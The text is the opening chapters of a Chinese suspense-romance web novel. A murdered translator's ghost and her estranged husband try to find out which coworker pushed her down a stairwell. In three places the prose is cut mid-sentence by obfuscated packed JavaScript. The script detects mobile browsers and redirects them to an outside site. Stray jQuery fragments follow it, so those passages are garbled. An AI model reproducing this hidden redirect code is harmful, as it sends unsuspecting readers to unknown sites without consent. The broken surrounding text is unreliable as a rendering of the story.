《我曾参加过自己的葬礼[悬爱]》
1. 第一章
在电脑前坐了太长时间,脖子僵得难受,端木茵伸手捏了捏脖颈,顺便注意了下电脑右下端的时间。
19点57分了。
肚子有点饿了。中午只吃了份小份的番茄意面,下午靠着两杯美式熬到现在,都这个点了,她实在懒得回去再做饭,想着长久没吃关东煮了,要不去对面的24小时便利店里买一份关东煮当晚饭。
端木茵一面心不在焉地听着音频,一面心算着全烧竹轮卷和蟹味棒的热量。
“小茵还没回去啊?”资源部的姚晓晨在翻译部门口探头,手肘上搭着她的黑色外套,手上拎着随身带的包包。
端木茵往椅背上一靠,笑了笑:“还差点。晓晨姐也加班啊?”
姚晓晨做了个端木茵没看懂的表情。
大概觉得抱怨工作会显得自己太丧,她笑了笑,说:“早点回去吧,别把自己绷得太紧。”
端木茵也笑笑。
是她不想早回去么?
农历七月半,老一辈总说,七月半晚上不要出门,她却还在公司加班。
作为公司工龄最小的译员,工资她拿得最少、琐事她做得最多,加班也总挨得到她,但凡抱怨两句,就会有人阴阳怪气——老板每日都忙成狗,一个打工的叫唤个什么。
好笑,都是打工的,怎么还共情起资本家了?
想到这里,端木茵表情淡漠地“嗯”了声。
“那我先回去了。”姚晓晨摆了摆手。
呆坐了两秒,端木茵重新握住鼠标再次听了遍音频内容。
又耽搁了一会儿,总算完成音频翻译。
端木茵关了电脑,收起手机放进NANOSPEEDY手袋里。
但愿对面便利店里她爱吃的全烧竹轮卷和章鱼烧串还有得卖。再加几串昆布串、蟹味棒,兰花豆腐和白萝卜,就很丰富啦。
端木茵走出办公室,随意瞄了眼,社长室、项目部、人事部和行政部办公室的灯光还亮着,看来加班的人不止她和姚晓晨。
她舒展了下身体,朝电梯口走去。
这个时间点,只有一部电梯在运行,偏偏这唯一一部在运行中的电梯现在正停在三楼。
端木茵想起三楼有家公司的老板不喜欢等电梯,有讨好的员工会提前替老板按住hold键,导致电梯会在三楼停留相当长的时间。
这一举动被楼里很多人投诉过,不过也没见三楼的那位有改变的态度。
端木茵决定不浪费时间等下去。
翻译社在六楼,不是很高的楼层,走下去也不累,权当锻炼身体。
推开安全门,楼道里,声控灯亮了起来。
顺着楼梯往下走,端木茵有点后悔刚刚的决定,7厘米的细高根实在不适合走楼梯。
心里正把三楼的那位骂了个遍,毫无预兆地,一道极大的推力从肩膀后处传来,天旋地转间,端木茵听到脑袋磕在石阶上发出的闷闷的声音。
眼前一片黑暗,失去意识前,她似乎闻到了很淡的白兰花香味……
***
端木茵不喜欢南方的夏天,一点儿也不喜欢。
就算是下雨,也没能让温度降下来半点,反倒加大了空气中的湿度,更让人觉得闷热、潮湿。
所幸灵堂里的温度凉飕飕的,没让人这么难受。
梁淮还是老样子,高大沉稳,此刻正面无表情地听着前来吊唁的人跟他说“节哀”。
大半个月前,梁淮也是这般面无表情地听着她谈离婚事宜,然后面无表情地说“好”。
她和梁淮是在派出所认识的。
梁淮的妹妹梁柔是她的老同学,同学聚会,她们几个在清吧遇到了点麻烦,两个流里流气的小子骚扰她们,她脑子一热,顺手拿了个空酒瓶砸向了其中一小子的脑袋,结果他们全进了派出所,后来还是梁柔打电话叫人把她们捞出去的。
把他们“捞出去”的人便是梁淮。端木茵还记得第一次见到梁淮有多被他的“美貌”震撼到。
是的。她就是个以貌取人的、肤浅的女人。
出了派出所,坐在梁淮的车上时,端木茵就在想,她一定要追到这个“美貌”的、把她从派出所捞出来的男人。
她也确实追到了。
热恋几个月后,他们结婚了。
可他们的感情并没有维持很久。
没有第三者,没有伤感情的吵架,只是热恋过后,激情褪去。
见色起意的婚姻终究没能长久。
梁淮是个很无趣的男人。
他话不多,他们甚至没有什么可以聊。
结婚两年后,端木茵提了离婚。
提离婚的第二天梁淮就搬出去了。他们没有孩子,只有一只猫,她的陪嫁猫,一只叫村霸的狸白,既然是她的陪嫁猫,孩子的抚养权当然归她。
这大半个月里,他们只见过一次面。再相遇,没想到是在她的葬礼上。
梁柔挨着梁淮站着,跟着梁淮向前来吊唁的人鞠躬。她两眼通红,显然是哭过了,看上去倒比梁淮更伤心她的死。
端木茵倒没抱怨梁淮的意思。
作为被离婚的准前夫哥还能操办她的丧事,够意思了。
最主要的是,她对梁淮挑选的遗照很满意。
虽是黑白的,遗照里的她还是那样明媚耀眼。
他是懂她的,知道她就是死了,也要死得漂亮漂亮。
有长辈上前来,微微弯腰,说了声“节哀”,梁淮跟着鞠躬,抬头时,梁淮似乎朝她这边看了过来。
端木茵下意识地想往后退了退。
不过,显然是她多心了。梁淮的视线只在她身上停顿了一秒,又移开了。
端木茵撇了撇嘴,把背脊挺得更直了。
“真是作孽啊,才二十四岁。”端木茵听到一个声音说。
她回头瞄了一眼,身后有几位关系疏远的长辈在说话。
“可不是嘛。老夏昏过去的时候我可真吓了一跳,就这么直挺挺地倒下了!”
老夏指的是端木茵的母亲夏岚。母亲在大学里教书,是个走路都带风的女人。
“她老公在家又不管事,现在老夏送医院了,我看他都没应付过这种情况,根本不知所措。”
“所以说可怜啊,白发送黑发,养那么大女儿,说没就没了。”
“听说是头先着地,当场就去了。”
“好像是那天在加班,可能是太累了,走路没看清。”
“不是,听说是下楼时在看手机,踩空了……”
啊?
看手机?踩空了?
哪和哪啊。
她明明是被人推下去的!
***
葬礼结束的时候,雨还在下,隐隐还有下大的趋势。
趁梁淮打开后座车门把一件女式外套放在后座上的工夫,端木茵上了后座。
她算发现了,变成“阿飘”后,除了别人看不见她,她似乎并未由此而拥有了任何特异功能。
端木茵老老实实地坐在后座,想着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377060|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,若不搭这顺风车,凭自己,到市区大概能让她再重死一回。
总之,先回了市区再说,好歹有个落脚处。
车门“嘭”的一声被梁淮甩上。
等梁淮坐上了驾驶座,梁柔已在副驾座上坐好,并系好了安全带。
“先送你回去。”端木茵听见梁淮对梁柔说。
梁柔反问:“不先去医院?”
梁淮打转方向盘,睨了眼后视镜,说:“再说。”
兄妹俩没什么话可说,梁柔打开车载音乐,问梁淮想听什么。
梁淮回了句随便。
他就是这样,什么都随便。
梁柔撇了撇嘴,自顾自选了首很炸的摇滚歌曲,随后往车窗上一靠,看着窗外水珠噼里啪啦打在玻璃上。
摇滚乐的声音震耳欲聋,端木茵皱了皱眉,用手指捅了下耳朵。
她以前也经常和梁柔出去混,梁柔喜欢去酒吧,那有欢快的音乐,她更喜欢去清吧,毕竟清吧的环境没有酒吧那么喧闹,她一点也不喜欢过分喧闹的音乐。
梁淮貌似也不喜欢太喧闹的音乐,他朝后视镜里看了眼,顺手将音量调小了点。
“哥,能不能开快点,我回去还要加班。”
“不能。”梁淮直接拒绝她,语气淡漠。
端木茵差点要笑出声来了。
原来梁淮对小柔也是这么简洁不罗嗦么?能用两个字说完一句话,他绝不浪费说第三个字。
梁柔小声嘀咕了句,又起了别的话头:“哥,问你件事啊。”
“嗯。”
“你……是不是在怀疑茵茵她不是意外死亡?”
端木茵下意识地向前倾了倾。
梁淮瞟了梁柔一眼,语气依旧平静:“怎么说?”
“哎,就是,我听到你和老吴打电话。”
梁淮轻哼了声,没有理她。
“哥,问你话呢。”
“你要我说什么?”
梁柔:“就说是还是不是呗。”
“没什么好说的。你别多想。”梁淮认真看着前方的路。
“和你说话真累,怪不得茵茵要和你……”临到“离婚”两字的时候,梁柔才意识到自己在说什么,又赶紧把“离婚”两字给吞了回去。
梁淮不做声,只是稍微皱了皱眉头。
梁柔扯了下嘴角,小心赔罪:“对不起哥,我嘴瓢了。”
梁淮“嗯”了声,这话题算是到此为止了。
梁柔大概觉得没劲,索性靠在车窗上,闭眼假寐。
兄妹俩不说话了,端木茵也没意思再听下去。她往后靠了靠,心里盘算着。
别人都以为她是踩空跌下楼的,梁淮到底是怎么看出来她不是意外死亡呢?
还是,只是小柔多心了?
***
送梁柔回去后,梁淮又调头开到某小区,期间换了轻音乐播放。
下了车,打开后座车门梁淮拿了那件女式外套才上楼。
六层楼高的老房子,一层四室的布局,没电梯,刷了多次白漆的墙仍是灰扑扑的,楼梯扶手上贴着乱七八糟的开锁小广告。
环顾间到了3楼。梁淮掏出钥匙开门进去,端木茵跟着梁淮进了303室。
一室一厅的房子,简装修,但收拾得很干净,估计是梁淮搬出去后租的房子。
梁淮把外套挂在钩子上,从鞋柜里拿出拖鞋,刚要换上就听到身后传来端木茵的声音。
“梁淮,你看得到我,是吧?”
2. 第二章 八月二十日
梁淮的背脊明显僵了僵。
他回过头,看向双臂环在胸前的端木茵。
“你发现了。”他面色不变,与她对视。
笑话,他都那么明显了,她又不傻,能看不出来?
如果说灵堂那一眼是她多心了,那特地开后座车门将外套放在后座上又是为什么?
梁淮这人不仅说话简洁,做事也一样,从不做无用功的事。
把外套放后座上这么简单的事他坐在驾驶座上也能做,为什么偏要两次开关后座车门?
更何况,那件女式外套她认出来了,是夏老师的外套。大约是老妈昏过去送医院时,老爸慌忙间忘了带走的。
既是老妈的外套,梁淮肯定也要给老妈送过去的,那何必多此一举地把外套拿回家里呢。他完全可以把外套留在车内,之后去看老妈的时候直接还给她。
当然,他若真省略了这繁琐的一步,想必她现在还在郊外的马路上淋着雨,骂着大街。
端木茵低头看了眼自己的脚,脚上还穿着出事那天睬着的7厘米高跟鞋,鞋是尖头的,有点挤脚。她越过梁淮,在客厅的沙发上坐下,脱下高跟鞋,还不忘揶揄梁淮:“你倒还记得我不爱听吵闹的音乐?”
“我只是不喜欢太喧闹的声音。”梁淮回过身,一面若无其事地换鞋,一面回复她,就好像和一个“阿飘”说话是再平常不过的事了。
“哦,是吗?”她抬起胸,像一只骄傲的孔雀,问,“那又是什么原因让你一路上看了十二次后视镜?”
一个做事严谨的人,在下雨天,道路湿滑的情况下,能分心看十二次后视镜?
梁淮轻笑一声,走过来,在端木茵身旁坐下。沙发有些老旧了,他一坐下,整个沙发都陷了下去。
脚下,一只狸白在那打盹,大概是察觉到有动静,动了动耳朵,跳了上来。
端木茵惊呼:“村霸!”
然而,她的陪嫁猫并没有显示出传说中猫咪该有的灵异感知。它在梁淮的腿上趴下,找了个舒服的姿势,又打上盹了。
“没良心的色猫!”端木茵小声抱怨了一句,白了梁淮一眼,正好瞥见他轻轻抚摸着猫,眼底划过的笑意十分明显。
真气人,连她的陪嫁猫都感知不到她的存在,偏偏只有眼前这位被她离婚、等待着离婚冷静期过去的男人能看得到她。
端木茵调整了一下自己的情绪,问:“你怎么发现我不是意外死亡?”
梁淮抚摸村霸的手顿了顿,他微微垂下头,回道:“你的手机掉在现场。”
端木茵一下子没反应过来她手机掉现场和她不是意外死亡有什么关系。
“很多事上你不靠谱,但也不至于走路的时候看手机。”梁淮大约也看出她没听明白,难得多解释了一句。
也是,端木茵想,这方面她确实做得好。
还小的时候,夏老师认为孩子不能太过娇养,零花钱上抠抠搜搜的,她存了一个星期才存够了买她心心念念的歌帝梵黑巧冰激凌的钱,一口没吃,就被人行道上凸起的井盖绊倒。
冰激凌被压得稀巴烂就不说了,手腕和膝盖还擦伤了,差点就留了疤。
作为一个爱美的女孩,她绝不允许类似的事再次发生。
那之后,她一直注意着走路时不分心,所以绝对不会边走路边看手机。
“我手机掉在现场?”端木茵记得关了电脑后,她整理了下包包,还把手机放进了包里。
包是NANOSPEEDY手袋,有拉链的,她倒是想知道,手机怎么拉开拉链跑出来的?
梁淮停住撸猫的动作,想了想,回道:“是的。老吴……呃,吴警官说,打开手机的时候,正好在你社交软件的页面。你尸体被发现的半小时前,你还点赞过某搞笑视频,所以他们猜测你是一边刷手机一边走楼梯,再加上……”他看了眼她的高跟鞋,很给面子地没多说下去,轻咳了声,接着道,“现在该你说了。”
端木茵坐正了些:“没什么好说的,我就是被人推下去的。”
“有看到推你的人么?”
“没有,我只知道推我的人很用力。至于手机,我下班前放包里了。包是有拉链的,所以手机不可能自己跑出来,只能是推我的人或别人拿出来的。”
“你几点下班的?”
端木茵想了想才说:“不太确定。肯定过了20点,起码20点10分后。”她歪头去看梁淮,问,“几点发现我尸体的?”
“第一发现人是八楼一家出版社的一个行政专员。她是20点47分发现你尸体的。发现你已无生命体征后,她即刻打电话报警。大约十分钟后,警察到现场,警察来之前她一直守在楼梯间。”
端木茵有点感慨:“胆子挺大的,我可做不到和一具尸体单独待在一个狭小的空间里。”
梁淮一直知道端木茵的关注点和别人不太一样,他没搭理她,只是把村霸放回地板上,起身从冰箱里拿了瓶水喝。
“梁淮,你真好意思只拿一瓶水?”
梁淮莫名被气笑,从早上忙到现在他一口水都没喝,空下来才喝口水也能被准前妻内涵小气。
“端木茵,你要不先确认一下你现在这状态能喝水吗?”
端木茵撇了撇嘴,没为了瓶水跟梁淮纠缠不清。
梁淮挨着她坐下,无视端木茵的小表情,继续先前的话题:“社交软件上,显示点赞时间是20点27分,最后一次打开软件的时间是20点25分,在警方眼里,两分钟的时间符合你从办公室走到楼梯间的时间。”
梁淮摊了摊手,“忘了说了,走廊的监控设备故障了,所以没有监控到你实际进楼梯间的时间,同理,也没监控到尾随你的凶手。”
他这么一提,端木茵倒是记起来了。
六楼的监控设备上个星期坏了,写字楼的物业管理说这周来装新的监控设备。
没想到新设备还没装上,就被凶手钻了空子。没监控,她算是白死了?
这可不行。
端木茵捋了下时间线,最后总结道:“首先,给视频点赞的人不是我。手机在我包里,所以拿我手机给视频点赞的人只能在我被推下楼后才能从我包里拿手机,也就是说,20点25分我已经被推下楼了。凶手确认我死翘翘了,翻我的包,找到我的手机点开社交软件,伪装成我在刷手机,这时候是20点25分。然后,20点27分的时候凶手点了个赞,加深我刷手机刷了入迷了,所以没注意脚下的台阶……”她顿了顿,转头去看梁淮,“你有什么要补充的吗?”
梁淮垂下头,拧紧矿泉水瓶盖,说:“凶手是20点27分还在写字楼里的人。”
端木茵点头:“对,而且他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377061|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/她还知道监控坏了,所以一点不怕监控暴露他或她跟着我进了楼梯间。”
“他/她不知道你走路不会看手机。”
“可能是翻译社的同事。知道20点27分还留在翻译社加班的人有谁么?”
梁淮思忖几秒,回道:“你三个同事,禾川、丁维和孟野。六楼的监控坏了没拍到,底楼大厅里拍到禾川20点30分走出电梯,孟野20点37分到楼下,丁维是20点40分下楼的。”
禾川是项目部专员,丁维是人事部的和孟野是行政部的,但端木茵记得那时候除了项目部、人事部和行政部,社长室的灯也亮着。
“他们和你有什么过节么?”梁淮没注意到端木茵皱着眉。
端木茵撇了撇嘴:“我进公司也不到半年,能和谁有过节啊?”她想了想,又补充,“和孟野肯定没过节。另外两个么,可能有过不开心吧,不过不是什么大事,也不至于到了要杀我的地步。对了,我们社长呢?他不是也没回去?我下班的时候看到他办公室的灯亮着。”
梁淮蹙眉,道:“哦?没听老吴提起过,回头我再问问他。”
“那个,发现我尸体的目击者怎么不坐电梯下楼?”端木茵问,毕竟她是因为电梯一直停在三楼才不得不走下去。
村霸醒了,跳到梁淮腿上喵呜个不停,梁淮开了个罐头让它吃,村霸才消停点。
“这个我打听过了。那位行政专员貌似在减肥,每天上下楼都走楼梯。”
“那倒也说得通。”端木茵突然觉得好无助。
伪装成事故的凶杀案,最简单的杀人手法,看不清的作案动机。
她靠在不怎么松软的沙发背上,抬头望着天花板,“梁淮,你会帮我找到杀害我的凶手的,对吧?”
***
梁淮去楼下买饭了。端木茵的问题他始终没有回答。
百般无聊地把各个角落巡视了一遍后,端木茵又在沙发上躺下。
电视开着,在播的是本地台的新闻,无非是蔬菜价格上涨了,某地铁线运营延误之类的新闻。端木茵觉得无趣,坐起来想找遥控器换台,没找到,只好无奈躺下。
困意有点上来了,端木茵索性闭了眼开始假寐。
新闻还在播,某十四岁学生高空抛物砸死一个五岁孩子,被采访的附近邻居激愤地诉说着什么。
端木茵在心里翻了个白眼。十四岁不小啦,她就不信十四岁的学生不清楚高空抛物的危险性,就怕当家长的还要哭着说“孩子还小”。
沙发太小了,端木茵觉着躺着不舒服便又坐起来。
钥匙转动的声音从门板另一头传来,是梁淮买饭回来了。
“怎么去那么久?”端木茵问。
“人有点多。”梁淮回答,一边将塑料袋放在桌子上,取出打包盒。
“买什么了?”
“酸汤扯面。”
端木茵“哦”了声,扫兴地撇了下嘴。
吃方面他们俩也吃不到一块。梁淮爱吃面食,她爱吃米饭;他爱辣,她爱清淡。
梁淮又取出一份热乎乎的关东煮放在桌上。
端木茵走过去,在餐桌前坐下,笑得不怀好意:“怎么想到买这个?”
“便利店搞活动,打八折。”
端木茵单手托腮,笑得更欢了:“哦,是吗?”
3. 第三章 八月二十日
梁淮掀了掀眼皮,冷淡地瞥了端木茵一眼:“端木茵,你是不是想多了?这是给楼下流浪猫吃的。”梁淮伸手想要拿走纸杯。
端木茵向前凑了凑,护住她的关东煮:“不许。”
关东煮还冒着热气,带着便利店logo的纸杯里塞着两串全烧竹轮卷、两串蟹味棒,一串昆布串和一串白萝卜,全是她死前想吃没吃到的。
梁淮还是很了解她,也是知道怎么气她的:“反正你也不能吃,又何必跟猫抢食呢?”
“梁淮,猫咪不能吃调味品,你不知道么?”端木茵一副耍赖样。
“少吃点又没关系。”
“谁说没关系的?”
梁淮轻笑了声,拉了把椅子坐下,掰开一次性筷子,不再理端木茵。
这个死梁淮,存心的吧。
端木茵“切”了一声,本不想再跟梁淮多说一句话,但转眼又想起葬礼上听人说夏老师被送去医院的事。自己如今这状态有些事就是有心也被限制了,只好暂时放下对梁淮的不满,问了句:“我妈她……”
梁淮没看她,继续吃面:“阿姨没事了,吃完饭带你去看她,顺便把外套给阿姨带过去。”
端木茵“嗯”了声,又没话说了,
电视里,正在插播一条快讯。端木茵对新闻不感兴趣,但仍旧装模作样看两眼,好歹不用去看梁淮。
依旧是让人不愉快的新闻。
郊区某的古桥上倒吊着一具男尸。警方已成立调查组侦查此案。
成立了调查组,看来是凶杀案没跑了。
端木茵瞄了眼梁淮,他已吃完了他的酸汤扯面,收拾好一次性餐具。
他洗了把脸,换了套衣服,又找出一个干净的手提纸袋,把夏岚的外套装进纸袋里,说:“好了,走吧。”
***
夏老师确实已经没事了。
端木茵和梁淮进病房的时候,夏岚正靠在床头喝水。父亲不在,大概是被母亲差去做事了。
夏岚憔悴了很多,眼角的皱纹更明显了,人也不如以前精神抖擞。
看到梁淮,她忙招呼他坐下。
夏老师一直很满意梁淮这个女婿,总夸他沉稳,聪明。夸完就差恨铁不成钢地说一句“哪像你啊”。
所以梁淮搬出去后,端木茵并没有跟夏老师提他们要离婚的事。她太了解自己母亲了,夏老师绝对不会同意他们离婚的。
端木茵在床边坐下,看着梁淮把刚买的两罐安全素、水果,还有装有夏岚外套的手提纸袋放在一旁的小桌上。
“妈觉得好点了吗?”梁淮问。
看吧,这就是梁淮为什么讨夏老师喜欢的原因了。
长辈总是喜欢礼貌听话的晚辈。
不像她,既不礼貌也不听话,大多数时候称呼自己母亲“夏老师”。
“好多了。”夏岚轻咳了声。
端木茵知道,母亲这是有话要说。
“小梁啊,茵茵的事你操心了。”
“应该的。”
“那个,茵茵他们社里打电话过来说要我去整理整理茵茵留下的私人物品……”
梁淮当即就明白了夏岚的意思:“妈,这事您别操心了,我去就行了。”
夏岚点头:“嗯,你去我放心。”
说完这句,夏岚似乎没话可说了,梁淮也没说点什么转移话题。
气氛一下子有点尴尬。
端木茵朝梁淮使了个眼色,他看见了,却装作没看见。
不要说自己如今这状态没法安慰母亲两句,即便是从前,她和母亲也没多亲近。
大概是做老师的缘故,夏岚神情里总带着几分严肃,加之从小对她期盼颇高,待她严格到几乎苛刻。
每天翻来覆去“背挺直点”、“头别前倾”、“别吧唧嘴”、“英语跟读了么”、“习题做了么”,“钢琴练了么”之类的话。
久而久之,她看到母亲就像老鼠碰上猫,能躲便躲。
但看到母亲眼里掩饰不住的颓然,端木茵又难过得不能自已。
她轻轻踢了梁淮一脚,暗示他说点什么。
梁淮握拳掩唇,正要开口,母亲忽说:
——“不知道茵茵在那里照顾得好自己么?”
***
从医院出来的时候已经是下午15点30分了。
端木茵坐在副驾驶座上,情绪有点低落。
梁淮看了眼腕表,问:“还有时间,要去趟你们公司把你私人物品拿回来吗?”
端木茵闷闷地点了点头。
其实她没有很多私人物品留在公司,无非是换洗衣物、水杯、数据线之类的小物品。
“顺便可以打听一下你出事那天你几个同事的去向。”梁淮握着方向盘拐了个弯,“你比较怀疑谁?”
“嗯……”端木茵迟疑了两秒。
之前梁淮问她和谁有过节的时候,她还嘴硬说她能和谁有过节。但现在回过头来想想,她在公司的人缘其实不算十分好。
就说项目部的禾川,因为拿错外卖一事她和禾川闹过一次矛盾。那次矛盾之后,禾川一直在背后蛐蛐她。端木茵也不是个能忍气吞声的,直接就把事闹开了,闹到连社长都惊动的地步,从此两人互不相让。
至于丁维。丁维是典型的自我优越感很强的男人。但就是这么个自我满足的男人,还是个喜欢搞职场暧昧的人。
本来丁维是什么样的人也不关她的事,偏偏他搞暧昧搞到她这来了。她和梁淮是在走离婚流程,但不意味着她看得上丁维,毕竟她,端木茵,看男人的眼光还是很高的。
她很体面地让丁维知道跟她别来那套。
都是成年人,她以为丁维应该领得清,但显然她以为错了。
最近两个星期里,丁维以不同的借口为难她,从纪律考核到员工培训,天天上岗上线,一股子小家子气。
还有社长于森。
她明明记得她离开办公室的时候,社长办公室的灯还亮着,警方怎么会没注意到呢?
***
梁淮去了社长办公室,说是去和于森谈谈。
端木茵觉得没必要跟去,便留在了办公室。
她一手托腮,百般无聊地盯着角落里的某位。
说来也巧,项目部的禾川也在他们翻译部办公室。
禾川还是老样子,白衬衫配黑色西装裤,同色系平底鞋,胸前别了串白兰花。她一手撑在桌面上一手撑在椅背上,跟翻译部的同事说着什么,时不时点头又摇头。
说老实话,端木茵觉得她应该不是凶手。禾川面上不见一点心虚,一举一动完全就是平时工作的模样。
除非禾川心里素质过硬,不然不可能在杀人后不显露出一丁点的慌张。
“刚那人是谁啊?好帅哦。”突然传来的说话声打断了她的思路。端木茵看过去,说话的是日语翻译小娄。
“好像是端木茵的老公,来整理她东西的。”另一个同事回答她。
“是端木茵的老公啊?看上去好像也没多伤心。”
“得了吧,人家伤不伤心也不需要摆到台面上来让我们看到。”
“也是。”
“听八楼的小祝说,端木茵出事那天穿着那么高的高跟鞋。”同事用手比划了一下。
“小祝是楼上出版社的吧?”
“对,就是她。是她发现尸体的。听她说,端木茵摔得可惨了,连脖子都歪了。”
“她胆子真大。端木茵出事那天是农历七月半,这大晚上的,要让我在楼道内碰到一具尸体,我可真的要吓死。”
“你别说,她也被吓得半死。我听她说,报警后,她也没敢离得太近,又不敢走开,就跑到六楼和七楼之间的转角平台。平台那不是有扇窗么,她时不时往外探个头,看看警察来了没。她说……”同事故意压低了声音。
“说什么?”
“她说,”同事压低了声音,“她从窗户探头看警察来了没的时候,声控灯灭了,她刚要跺脚,就感到有股阴凉的风从后背吹来……”
“啊!”
“从后背吹来?你不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377062|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是说她把头探出窗外了么,那风怎么从后背吹来?不应该从正面吹过来吗?”
“肯定是心理作用在作祟。”
“快别说了。”
“哎,说来说去,还是我们这楼的台阶太滑了才会出事,以后走楼梯大家都当心点。”
一直不做声的禾川突然阴阳怪气地插嘴:“怪台阶什么事,要怪也怪端木茵她自己。干吗不坐电梯偏要走下去,还穿那么高的高跟鞋。这楼梯又不是只有她一个人走,你看别人有踩空么?还不是只有她。”
气氛有一瞬间的凝滞。
谁都知道禾川和端木茵有过矛盾,禾川这副幸灾乐祸的模样,难免让人觉得她做人没水准。
同事们很默契地没有出声,默默坐回了自己的工位。
社长室的门被打开,梁淮从里面走出来。
端木茵朝他挥了挥手。
梁淮走了过来,察觉到空气中的凝滞,难得揶揄了句:“气氛不大对啊。”
他存心压低了声音,倒没引起别人注意,只有几个女同事在偷偷看他。
“你来前,有人在说我坏话呢。”
梁淮嘴角微翘,继续用只有端木茵听到的音量说:“当着你的面说,那可太不礼貌了。”
“可不是么。”端木茵仰起下颌,盯着对面的某人,那人也在朝他这边看。
梁淮漫不经心地瞥了眼,又收回目光:“这就是你所谓的人缘好?”
“梁淮!”
这死男人还不如不开口。
“那个是禾川?”梁淮问。三个有作案时间的同事——禾川、丁维和孟野,加上一个于森,目前还不确定,要跟老吴确认一下,除了孟野,端木茵很肯定地说和她没过节,剩下的两人中,只有禾川和丁维了。
端木茵“嗯”了声,说:“我觉得她不是凶手。”端木茵收回视线,指挥梁淮把她的玲娜贝儿水杯放到纸箱里。
水杯是她和小柔一起买的,一人一个,她一定要带回去的。
“别太早断定。”
其他也没有太多的东西需要整理,在公司耽搁了一会儿,梁淮便抱着纸箱离开了。离开办公室时,梁淮特意往隔壁的人事部瞥了眼。
一个男人靠在沙发上,抖着脚在看文件。
“那个不是丁维。”端木茵提醒他。
“嗯。”梁淮显然也看出来了,他掂了掂纸箱,既然丁维不在,梁淮觉得没有特意留下来等他的必要,便问:“坐电梯下去,还是……”
重返案发现场,也许能发现点之前没注意到的细节
“去楼梯间看看吧。”
两人并肩而行,经过洗手间门口时险些与从里面出来的人撞上。
“不好意思。”那个人连忙道歉。
梁淮:“没关系。”
姚晓晨理了理头发,走开了。
“她是晓晨姐,资源部的。我出事那天她也在加班,不过20点左右她就回去了。”端木茵望着姚晓晨的背影说。
梁淮:“她对你挺照顾的吧?”
“你看出来了?”
梁淮嘴角微扬,心想,怎么看不出来,称呼都和别人不一样。
“你有没有觉得她看上去气色不太好?她涂的是405,一般她不会涂那么张扬的口红色。”端木茵对口红色有点了解,只要看一眼,就能说出是哪款口红。
“她不想别人看出她气色不好。”
“啊?”端木茵又回头去看了眼姚晓晨。
梁淮没说错,晓晨姐确实不想让别人看出她气色不好。
进办公室前,她特意整理了下头发,又揉了揉脸颊,可能是想让脸看上去红润点。
端木茵有些惆怅地叹了口气。
“走吧。”梁淮拍拍她的肩。
推开厚重的防火门,端木茵脚步顿了下来。
日光透过楼梯间的窗户洒了进来,她只觉得有点眩晕,甚至有了种类似缺氧带来的窒息感。她拉住梁淮的手臂,呼吸急促:“梁淮,我记起来了。我倒下的时候闻到了白兰花香的味道!”
4. 第四章 八月二十日~八月二十一日
梁淮伸手扶住端木茵,轻轻拍她的背:“试着用嘴呼吸一下。”
端木茵不清楚自己如今这状态呼吸是否对她有用,但窒息的感觉太难受,她还是照做了。
“好点了么?”梁淮问。
端木茵“嗯”了声。
“要坐电梯下去吗?”
端木茵微微摇头:“走下去吧。”
梁淮不做声,扶着她慢慢下楼。
“梁淮,我闻到白兰花香的味道,很淡的味道,但我闻到了。”端木茵咽了口唾液,心情复杂,“我以为她应该不至于的,但现在不肯定了。”
到了五楼和六楼之间的转角平台,端木茵停下了脚步。
“我倒在这么?”
梁淮颔首。
云石地砖上还有淡淡的血渍痕迹。
他蹲下,悬空点了点未清洗干净的痕迹,说:“头先着地,颅骨骨折引发颅内出血。”
“我的死样很丑么?”
梁淮抬头,看着面前这个表情有点委屈的“阿飘”,轻笑:“那倒没有。”
“他们说我脖子都歪了。”
“还好,你平时也歪头。”梁淮眼神凝了凝。
他一米八六,端木茵一米六八,她踮脚亲他时,会下意识地歪头,深栗色的长发会很自然地朝一边垂下,衬得她锁骨精致白皙。
“梁淮!”
梁淮轻咳一声,转移话题:“你和她之间有什么矛盾?”
端木茵也蹲下,两手托腮:“她错拿了我的外卖,我怪她拿外卖的时候不能多看一眼是不是自己点的,她说她是不小心拿错的,还说我不用为了一个外卖哔哔个没完。
“我就不乐意了。一个星期里两次拿错外卖,怎么就是不小心呢。
“再后来她就跟我杠上了,分配稿件为难我,返稿也为难我,还在小群里蛐蛐我。我当然也不是好惹的,就把事情闹大了。”
“她有别白兰花的习惯吗?”
端木茵想了想,回道:“没怎么注意。”
梁淮抿嘴不言。
20点27分给视频点赞,20点30分禾川被底楼的监控拍到走出电梯,时间上倒是正好对得上。
只是……
“于森这个人,你觉得他怎么样?”梁淮换了话题。
